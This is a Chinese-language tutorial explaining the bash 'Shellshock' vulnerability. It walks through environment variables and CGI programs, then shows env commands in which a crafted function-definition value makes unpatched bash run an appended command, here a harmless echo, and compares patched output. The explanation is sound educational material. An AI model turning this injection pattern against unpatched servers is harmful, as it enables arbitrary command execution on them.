你是否正在寻找关于bash 漏洞的内容?让我把最简洁的东西奉献给你:
1 环境变量是什么
无论是Windows程序还是Linux程序,都支持环境变量,一般来讲环境变量作为赋值字符串的形式存放到进程内存空间的开头部分。用户在执行一个程序时,可以通过指定环境变量来给被执行的程序传递信息。在GUI占主导的Windows平台上,一般用户很少需要使用环境变量来为程序传递信息,。环境变量是进程空间的资源,不同进程的环境变量不能共享。但是可以通过进程资源继承机制来把父进程的环境变量复制一份到子进程中。例如,为bash进程设置的环境变量,会自动复制一份到通过bash启动的子进程中。
不同的程序对环境变量的应用程度也不相同,很多小程序可以都对环境变量不予理会。然而也有很多程序严重依赖于环境变量,如用于Web的CGI程序,其所有的表单数据都是通过环境变量的形式由web服务器进程传递给CGI程序的。下面是一个用C语言写的简单的CGI程序。int main(void)
{
char *data;
long m,n;
printf("%s%c%c ","Content-Type:text/html;charset=gb2312",13,10);
printf("< TITLE >乘法结果< /TITLE > ");
printf("< H3 >乘法结果< /H3 > ");
data = getenv("QUERY_STRING");
if(data == NULL)
printf("< P >错误!数据没有被输入或者数据传输有问题");
else if(sscanf(data,"m=%ld&n=%ld",&m,&n)!=2)
printf("< P >错误!输入数据非法。表单中输入的必须是数字。");
else
printf("< P >%ld和%ld的成绩是:%ld。",m,n,m*n);
return 0;
}
可以看出,客户端发来的GET请求字符串是通过环境变量QUERY_STRING传递给这个程序的。
Bash也是一个环境变量重度用户,当然使用bash编写的CGI程序就更加依赖于环境变量了。下面是用bash写的CGI程序。#!/bin/bash
echo 'Content-type: test/html'
echo ''
echo $QUERY_STRING
同样也是使用了环境变量QUERY_STRING.2 bash 分析环境变量存在的漏洞分析
前面说过,环境变量就是一组特殊的字符串,利用环境变量的程序必须要对其进行分析处理。对字符串的处理是大部分程序中很重要的任务,对于Web程序而已更甚(html,xml, json文件内容本身就是字符串)。
bash当然也不例外,它需要分析环境变量字符串,然后解释其意义并执行相关操作。由于bash脚本本身就是文本字符串,所以bash引擎可以简单把环境变量字符串转变为脚本格式的字符串,然后拿出来与要执行的bash脚本合并,然后再解释执行合并后的脚本。
例如如下脚本:echo 环境变量X的值是$X
环境变量为X=100,那么合并后相当于:X=100
echo 环境变量X的值为$X
我们可以通过env这个工具来试试效果,env 的作用就是为即将执行的程序指定环境变量。[root@localhost ~]# env X=100 bash -c 'echo 环境变量X的值为$X';
环境变量X的值为100
再来构造一个特殊点的环境变量。[root@localhost ~]# env X='() { echo 我是环境变量;};' bash -c 'env';
HOSTNAME=localhost.localdomain
.... 省略显示无关环境变量
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() { echo 我是环境变量
}
此时,环境变量X还是一个字符串而已,但是bash把他解释为了一个函数类型而不是一个字符串类型的值。所以可以直接执行这个函数了。如下:[root@localhost ~]# env X='() { echo 我是环境变量;};' bash -c 'X';
我是环境变量
此时,bash解释环境变量后转换成的脚本为:X() { echo 我是环境变量;};
而不是原样照搬为X=(){ echo 我是环境变量;};
可见对于不同的字符串格式的环境变量值,bash有不同的解释方式。
继续让这个X的值更复杂一点,如下:[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'env'
你中招了
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
X=() { echo 我是环境变量
}
_=/bin/env
问题出现了!此时env为bash设置的环境变量X的值为() { echo 我是环境变量;}; echo 你中招了
bash把前半部分解释成了函数X的函数体,而把后半部分啥也没做,直接原样转为脚本。解释后的脚本如下:X() { echo 我是环境变量;};
echo 你中招了
合并后的脚本如下:X() { echo 我是环境变量;};
echo 你中招了
env
这样就会直接执行echo 你中招了,而其实这个命令可以换成任意其他命令,也就达到让bash执行任意命令的目的了。这就是此次bash漏洞的基本原理。
再来看看打完补丁后的效果。[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'env'
HOSTNAME=localhost.localdomain
SHELL=/bin/bash
X=() { echo 我是环境变量;}; echo 你中招了
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
_=/bin/env
[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'echo $X'
() { echo 我是环境变量;}; echo 你中招了
可以看出此时,bash不再把X当成函数来解释,而是把整个环境变量的值都全部作为纯字符串赋予了X。3 谁会受到bash漏洞的影响?
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/shenmilingyu/article-17595-1.html